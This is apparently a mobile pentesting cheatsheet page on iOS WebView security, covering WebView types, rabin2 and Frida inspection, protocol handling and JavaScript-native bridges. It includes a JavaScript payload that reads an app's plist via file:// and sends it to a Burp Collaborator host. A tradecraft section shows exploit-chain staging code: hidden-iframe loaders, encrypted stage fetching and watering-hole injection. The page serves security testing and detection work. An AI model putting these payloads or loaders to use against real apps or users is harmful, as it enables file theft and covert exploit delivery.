daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ios-webviews.md (22241B)


      1 ---
      2 title: "iOS WebViews"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/ios-pentesting/ios-webviews.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/ios-webviews.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # iOS WebViews
     14 
     15 The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.<sup>[[4]](#references)</sup>
     16 
     17 ## WebView types
     18 
     19 WebViews are utilized within applications to display web content interactively. Various types of WebViews offer different functionalities and security features for iOS applications. Here's a brief overview:<sup>[[4]](#references)</sup>
     20 
     21 - **UIWebView**, which is no longer recommended from iOS 12 onwards due to its lack of support for disabling **JavaScript**, making it susceptible to script injection and **Cross-Site Scripting (XSS)** attacks.
     22 
     23 - **WKWebView** is the preferred option for incorporating web content into apps, offering enhanced control over the content and security features. **JavaScript** is enabled by default, but it can be disabled if necessary. It also supports features to prevent JavaScript from automatically opening windows and ensures that all content is loaded securely. Additionally, **WKWebView**'s architecture minimizes the risk of memory corruption affecting the main app process.
     24 
     25 - **SFSafariViewController** offers a standardized web browsing experience within apps, recognizable by its specific layout including a read-only address field, share and navigation buttons, and a direct link to open content in Safari. Unlike **WKWebView**, **JavaScript** cannot be disabled in **SFSafariViewController**, which also shares cookies and data with Safari, maintaining user privacy from the app. It must be displayed prominently according to App Store guidelines.
     26 
     27 ```javascript
     28 // Example of disabling JavaScript in WKWebView:
     29 WKPreferences *preferences = [[WKPreferences alloc] init];
     30 preferences.javaScriptEnabled = NO;
     31 WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
     32 config.preferences = preferences;
     33 WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
     34 ```
     35 
     36 ## WebViews Configuration Exploration Summary
     37 
     38 ### **Static Analysis Overview**
     39 
     40 In the process of examining **WebViews** configurations, two primary types are focused on: **UIWebView** and **WKWebView**. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.<sup>[[3]](#references)[[4]](#references)</sup>
     41 
     42 - **UIWebView Identification**
     43 
     44 ```bash
     45 $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
     46 ```
     47 
     48 This command helps in locating instances of **UIWebView** by searching for text strings related to it in the binary.
     49 
     50 - **WKWebView Identification**
     51 
     52 ```bash
     53 $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
     54 ```
     55 
     56 Similarly, for **WKWebView**, this command searches the binary for text strings indicative of its usage.
     57 
     58 Furthermore, to find how a **WKWebView** is initialized, the following command is executed, targeting the method signature related to its initialization:
     59 
     60 ```bash
     61 $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
     62 ```
     63 
     64 #### **JavaScript Configuration Verification**
     65 
     66 For **WKWebView**, it's highlighted that disabling JavaScript is a best practice unless required. The compiled binary is searched to confirm that the `javaScriptEnabled` property is set to `false`, ensuring that JavaScript is disabled:
     67 
     68 ```bash
     69 $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
     70 ```
     71 
     72 #### **Only Secure Content Verification**
     73 
     74 **WKWebView** offers the capability to identify mixed content issues, contrasting with **UIWebView**. This is checked using the `hasOnlySecureContent` property to ensure all page resources are loaded through secure connections. The search in the compiled binary is performed as follows:
     75 
     76 ```bash
     77 $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
     78 ```
     79 
     80 ### **Dynamic Analysis Insights**
     81 
     82 Dynamic analysis involves inspecting the heap for WebView instances and their properties. A script named `webviews_inspector.js` is used for this purpose, targeting `UIWebView`, `WKWebView`, and `SFSafariViewController` instances. It logs information about found instances, including URLs and settings related to JavaScript and secure content.<sup>[[4]](#references)</sup>
     83 
     84 Heap inspection can be conducted using `ObjC.choose()` to identify WebView instances and check the `javaScriptEnabled` and `hasOnlySecureContent` properties.
     85 
     86 ```javascript
     87 ObjC.choose(ObjC.classes["UIWebView"], {
     88   onMatch: function (ui) {
     89     console.log("onMatch: ", ui)
     90     console.log("URL: ", ui.request().toString())
     91   },
     92   onComplete: function () {
     93     console.log("done for UIWebView!")
     94   },
     95 })
     96 
     97 ObjC.choose(ObjC.classes["WKWebView"], {
     98   onMatch: function (wk) {
     99     console.log("onMatch: ", wk)
    100     console.log("URL: ", wk.URL().toString())
    101   },
    102   onComplete: function () {
    103     console.log("done for WKWebView!")
    104   },
    105 })
    106 
    107 ObjC.choose(ObjC.classes["SFSafariViewController"], {
    108   onMatch: function (sf) {
    109     console.log("onMatch: ", sf)
    110   },
    111   onComplete: function () {
    112     console.log("done for SFSafariViewController!")
    113   },
    114 })
    115 
    116 ObjC.choose(ObjC.classes["WKWebView"], {
    117   onMatch: function (wk) {
    118     console.log("onMatch: ", wk)
    119     console.log(
    120       "javaScriptEnabled:",
    121       wk.configuration().preferences().javaScriptEnabled()
    122     )
    123   },
    124 })
    125 
    126 ObjC.choose(ObjC.classes["WKWebView"], {
    127   onMatch: function (wk) {
    128     console.log("onMatch: ", wk)
    129     console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
    130   },
    131 })
    132 ```
    133 
    134 The script is executed with:
    135 
    136 ```bash
    137 frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
    138 ```
    139 
    140 **Key outcomes:**
    141 
    142 - Instances of WebViews are successfully located and inspected.
    143 - JavaScript enablement and secure content settings are verified.
    144 
    145 This summary encapsulates the critical steps and commands involved in analyzing WebView configurations through static and dynamic approaches, focusing on security features like JavaScript enablement and mixed content detection.
    146 
    147 ## WebView Protocol Handling
    148 
    149 Handling content in WebViews is a critical aspect, especially when dealing with various protocols such as `http(s)://`, `file://`, and `tel://`. These protocols enable the loading of both remote and local content within apps. It is emphasized that when loading local content, precautions must be taken to prevent users from influencing the file's name or path and from editing the content itself.<sup>[[2]](#references)[[4]](#references)</sup>
    150 
    151 **WebViews** offer different methods for content loading. For **UIWebView**, now deprecated, methods like `loadHTMLString:baseURL:` and `loadData:MIMEType:textEncodingName:baseURL:` are used. **WKWebView**, on the other hand, employs `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, and `loadRequest:` for web content. Methods such as `pathForResource:ofType:`, `URLForResource:withExtension:`, and `init(contentsOf:encoding:)` are typically utilized for loading local files. The method `loadFileURL:allowingReadAccessToURL:` is particularly notable for its ability to load a specific URL or directory into the WebView, potentially exposing sensitive data if a directory is specified.
    152 
    153 To find these methods in the source code or compiled binary, commands like the following can be used:
    154 
    155 ```bash
    156 $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
    157 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
    158 ```
    159 
    160 Regarding **file access**, UIWebView allows it universally, whereas WKWebView introduces `allowFileAccessFromFileURLs` and `allowUniversalAccessFromFileURLs` settings for managing access from file URLs, with both being false by default.
    161 
    162 A Frida script example is provided to inspect **WKWebView** configurations for security settings:
    163 
    164 ```bash
    165 ObjC.choose(ObjC.classes['WKWebView'], {
    166   onMatch: function (wk) {
    167     console.log('onMatch: ', wk);
    168     console.log('URL: ', wk.URL().toString());
    169     console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
    170     console.log('allowFileAccessFromFileURLs: ',
    171             wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
    172     console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
    173     console.log('allowUniversalAccessFromFileURLs: ',
    174             wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
    175   },
    176   onComplete: function () {
    177     console.log('done for WKWebView!');
    178   }
    179 });
    180 ```
    181 
    182 Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. This payload encodes file contents into hex format before transmitting them to a server, highlighting the importance of stringent security measures in WebView implementations.
    183 
    184 ```javascript
    185 String.prototype.hexEncode = function () {
    186   var hex, i
    187   var result = ""
    188   for (i = 0; i < this.length; i++) {
    189     hex = this.charCodeAt(i).toString(16)
    190     result += ("000" + hex).slice(-4)
    191   }
    192   return result
    193 }
    194 
    195 var xhr = new XMLHttpRequest()
    196 xhr.onreadystatechange = function () {
    197   if (xhr.readyState == XMLHttpRequest.DONE) {
    198     var xhr2 = new XMLHttpRequest()
    199     xhr2.open(
    200       "GET",
    201       "http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
    202         xhr.responseText.hexEncode(),
    203       true
    204     )
    205     xhr2.send(null)
    206   }
    207 }
    208 xhr.open(
    209   "GET",
    210   "file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
    211   true
    212 )
    213 xhr.send(null)
    214 ```
    215 
    216 ## Native methods exposed through WebViews
    217 
    218 Since iOS 7, Apple has provided APIs for **communication between JavaScript in a WebView and native** Swift or Objective-C objects. This integration is primarily facilitated through two methods:<sup>[[4]](#references)</sup>
    219 
    220 - **JSContext**: A JavaScript function is automatically created when a Swift or Objective-C block is linked to an identifier within a `JSContext`. This allows for seamless integration and communication between JavaScript and native code.
    221 - **JSExport Protocol**: By inheriting the `JSExport` protocol, native properties, instance methods, and class methods can be exposed to JavaScript. This means any changes made in the JavaScript environment are mirrored in the native environment, and vice versa. However, it's essential to ensure that sensitive data is not exposed inadvertently through this method.
    222 
    223 ### Accessing `JSContext` in Objective-C
    224 
    225 In Objective-C, the `JSContext` for a `UIWebView` can be retrieved with the following line of code:
    226 
    227 ```text
    228 [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
    229 ```
    230 
    231 ### Communication with `WKWebView`
    232 
    233 For `WKWebView`, direct access to `JSContext` is not available. Instead, message passing uses the `postMessage` function for JavaScript-to-native communication. Handlers for these messages are set up as follows:
    234 
    235 ```swift
    236 func enableJavaScriptBridge(_ enabled: Bool) {
    237     options_dict["javaScriptBridge"]?.value = enabled
    238     let userContentController = wkWebViewConfiguration.userContentController
    239     userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
    240 
    241     if enabled {
    242         let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
    243         userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
    244     }
    245 }
    246 ```
    247 
    248 ### Interaction and Testing
    249 
    250 JavaScript can interact with the native layer by defining a script message handler. This allows for operations like invoking native functions from a webpage:
    251 
    252 ```javascript
    253 function invokeNativeOperation() {
    254   value1 = document.getElementById("value1").value
    255   value2 = document.getElementById("value2").value
    256   window.webkit.messageHandlers.javaScriptBridge.postMessage([
    257     "multiplyNumbers",
    258     value1,
    259     value2,
    260   ])
    261 }
    262 
    263 // Alternative method for calling exposed JavaScript functions
    264 document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
    265 ```
    266 
    267 To capture and manipulate the result of a native function call, one can override the callback function within the HTML:
    268 
    269 ```html
    270 <html>
    271   <script>
    272     document.location = "javascriptbridge://getSecret"
    273     function javascriptBridgeCallBack(name, result) {
    274       alert(result)
    275     }
    276   </script>
    277 </html>
    278 ```
    279 
    280 The native side handles the JavaScript call as shown in the `JavaScriptBridgeMessageHandler` class, where the result of operations like multiplying numbers is processed and sent back to JavaScript for display or further manipulation:
    281 
    282 ```swift
    283 class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
    284     // Handling "multiplyNumbers" operation
    285     case "multiplyNumbers":
    286         let arg1 = Double(messageArray[1])!
    287         let arg2 = Double(messageArray[2])!
    288         result = String(arg1 * arg2)
    289     // Callback to JavaScript
    290     let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
    291     message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
    292 }
    293 ```
    294 
    295 ### Modern `WKWebView` bridge triage
    296 
    297 On current iOS apps, the most interesting bridge entry points are usually `addScriptMessageHandler:name:`, `addScriptMessageHandler:contentWorld:name:`, and `addScriptMessageHandlerWithReply:contentWorld:name:`. Any JavaScript that reaches the page can call `window.webkit.messageHandlers.<name>.postMessage(...)`, so an XSS, an attacker-controlled page, or an untrusted iframe becomes a native-code pivot if the handler exposes sensitive actions. During review, check whether privileged handlers validate `message.frameInfo.securityOrigin` (and ideally reject unexpected subframes) before touching tokens, filesystem paths, deeplink targets, or app state.<sup>[[6]](#references)</sup>
    298 
    299 Useful source/binary triage patterns:
    300 
    301 ```bash
    302 # Source code / decompiled Swift/ObjC
    303 rg -n 'addScriptMessageHandler|addScriptMessageHandlerWithReply|WKContentWorld|evaluateJavaScript\(|callAsyncJavaScript\(' .
    304 
    305 # Compiled app
    306 rabin2 -zzq Payload/App.app/AppBinary | rg 'addScriptMessageHandler|WKScriptMessageHandlerWithReply|WKContentWorld|evaluateJavaScript|callAsyncJavaScript|messageHandlers'
    307 ```
    308 
    309 A small Frida hook is usually enough to enumerate bridge names at runtime and immediately spot whether the app is using the legacy global registration or a specific `WKContentWorld`:<sup>[[6]](#references)</sup>
    310 
    311 ```javascript
    312 Interceptor.attach(ObjC.classes.WKUserContentController['- addScriptMessageHandler:name:'].implementation, {
    313   onEnter(args) { console.log('[bridge] legacy name=' + ObjC.Object(args[3]).toString()) }
    314 })
    315 Interceptor.attach(ObjC.classes.WKUserContentController['- addScriptMessageHandler:contentWorld:name:'].implementation, {
    316   onEnter(args) {
    317     console.log('[bridge] world=' + ObjC.Object(args[3]).toString() + ' name=' + ObjC.Object(args[4]).toString())
    318   }
    319 })
    320 ```
    321 
    322 ## iOS Web Exploit Delivery & Staging Tradecraft
    323 
    324 The following patterns have been observed in real-world iOS Safari/WebKit exploit delivery chains and are useful for analysis, detection, and controlled emulation.<sup>[[1]](#references)</sup>
    325 
    326 ### Multi-stage loader via hidden iframes
    327 
    328 A common staging pattern is to gate execution to avoid reinfection or analysis and then inject a hidden/off-screen `iframe` for the next stage:
    329 
    330 ```html
    331 <script>
    332 if (!sessionStorage.getItem('uid') && isTouchScreen) {
    333   sessionStorage.setItem('uid', '1');
    334   const frame = document.createElement('iframe');
    335   frame.src = 'frame.html?' + Math.random();
    336   frame.style.height = 0;
    337   frame.style.width = 0;
    338   frame.style.border = 'none';
    339   document.body.appendChild(frame);
    340 } else {
    341   top.location.href = 'red';
    342 }
    343 </script>
    344 ```
    345 
    346 A minimal staging page can inject the main loader via `document.write()`:
    347 
    348 ```html
    349 <script>
    350   document.write('<script defer="defer" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/rce_loader.js"><\/script>');
    351 </script>
    352 ```
    353 
    354 Loader stages frequently pull subsequent JavaScript synchronously:
    355 
    356 ```javascript
    357 function getJS(fname) {
    358   const xhr = new XMLHttpRequest();
    359   xhr.open('GET', fname, false);
    360   xhr.send(null);
    361   return xhr.responseText;
    362 }
    363 ```
    364 
    365 Later stages can be executed in a worker-like context by building a Blob URL:
    366 
    367 ```javascript
    368 const workerCode = getJS('rce_worker_18.4.js');
    369 const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
    370 const workerBlobUrl = URL.createObjectURL(workerBlob);
    371 ```
    372 
    373 ### Forcing Safari to hit the WebKit/JSC surface
    374 
    375 If a victim opens a lure in another browser, a protocol handler can force Safari:
    376 
    377 ```javascript
    378 if (typeof browser === 'undefined' && isIphone()) {
    379   location.href = 'x-safari-https://example.com/<redacted>';
    380 }
    381 ```
    382 
    383 ### Encrypted stage fetch (ECDH + AES)
    384 
    385 Some loaders encrypt exploit stages in transit. A minimal client flow is: generate an ephemeral ECDH keypair, POST the base64 public key, receive encrypted blobs, derive an AES key, decrypt, then decode to JavaScript:
    386 
    387 ```javascript
    388 const kp = generateKeyPair();
    389 const pubPem = exportPublicKeyAsPem(kp.publicKey);
    390 const xhr = new XMLHttpRequest();
    391 xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
    392 xhr.setRequestHeader('Content-Type', 'application/json');
    393 xhr.send(JSON.stringify({ a: btoa(pubPem) }));
    394 const { a, b } = JSON.parse(xhr.responseText);
    395 const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
    396 const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
    397 ```
    398 
    399 ### Watering-hole injection pattern
    400 
    401 Compromised sites can load a remote script that builds an off-screen `iframe` and constrains it with a sandbox while still allowing script execution:
    402 
    403 ```html
    404 <script async src="https://static.example.net/widgets.js?token"></script>
    405 ```
    406 
    407 ```javascript
    408 const iframe = document.createElement('iframe');
    409 iframe.src = 'https://static.example.net/assets/index.html';
    410 iframe.style.width = '1px';
    411 iframe.style.height = '1px';
    412 iframe.style.position = 'absolute';
    413 iframe.style.left = '-9999px';
    414 iframe.style.opacity = '0.01';
    415 iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
    416 document.body.appendChild(iframe);
    417 ```
    418 
    419 ### Post-exploitation anti-forensics indicators (JS implants)
    420 
    421 - Temporary staging under `/tmp/<uuid>.<digits>/` with subfolders like `STORAGE`, `DATA`, and `TMP`.
    422 - Deletion of crash logs in `/var/mobile/Library/Logs/CrashReporter/` (often filtered by WebKit/SpringBoard substrings).
    423 - Recursive deletion of `/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/`.
    424 
    425 ## Debugging iOS WebViews
    426 
    427 (Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))<sup>[[5]](#references)</sup>
    428 
    429 To effectively debug web content within iOS webviews, a specific setup involving Safari's developer tools is required due to the fact that messages sent to `console.log()` are not displayed in Xcode logs. Here's a simplified guide, emphasizing key steps and requirements:<sup>[[5]](#references)</sup>
    430 
    431 - **Preparation on iOS Device**: The Safari Web Inspector needs to be activated on your iOS device. This is done by going to **Settings > Safari > Advanced**, and enabling the _Web Inspector_.
    432 
    433 - **Preparation on macOS Device**: On your macOS development machine, you must enable developer tools within Safari. Launch Safari, access **Safari > Preferences > Advanced**, and select the option to _Show Develop menu_.
    434 
    435 - **Connection and Debugging**: After connecting your iOS device to your macOS computer and launching your application, use Safari on your macOS device to select the webview you want to debug. Navigate to _Develop_ in Safari's menu bar, hover over your iOS device's name to see a list of webview instances, and select the instance you wish to inspect. A new Safari Web Inspector window will open for this purpose.
    436 
    437 On modern systems, the second limitation is no longer absolute: since iOS/iPadOS **16.4**, a release build can expose its `WKWebView` or `JSContext` to Safari by setting `isInspectable = true`, so some App Store apps will now appear in the **Develop** menu if the developer opted in.<sup>[[7]](#references)</sup>
    438 
    439 ```javascript
    440 if (ObjC.classes.WKWebView && ObjC.classes.WKWebView['- setInspectable:']) {
    441   ObjC.choose(ObjC.classes.WKWebView, {
    442     onMatch: function (wk) { wk.setInspectable_(1) },
    443     onComplete: function () {}
    444   })
    445 }
    446 ```
    447 
    448 However, be mindful of the limitations:
    449 
    450 - Debugging with this method still requires a macOS device since it relies on Safari.
    451 - If the target app does **not** opt into `isInspectable`, Safari will usually not list the WebView even though the device-side Web Inspector toggle is enabled.<sup>[[7]](#references)</sup>
    452 
    453 ## References
    454 
    455 - [1] [The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors](https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/)
    456 - [2] [iOS Testing Guide – Testing WebView Protocol Handlers (MSTG-PLATFORM-6)](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
    457 - [3] [Where's My Browser? – Learn Hacking WebViews (iOS)](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
    458 - [4] [iOS Platform APIs – OWASP Mobile Security Testing Guide](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
    459 - [5] [Debugging webviews on Android and iOS](https://blog.vuplex.com/debugging-webviews)
    460 - [6] [MASTG-BEST-0058: Restrict Native Functionality Exposed Through WebViews](https://mas.owasp.org/MASTG/best-practices/MASTG-BEST-0058/)
    461 - [7] [Enabling the Inspection of Web Content in Apps](https://webkit.org/blog/13936/enabling-the-inspection-of-web-content-in-apps/)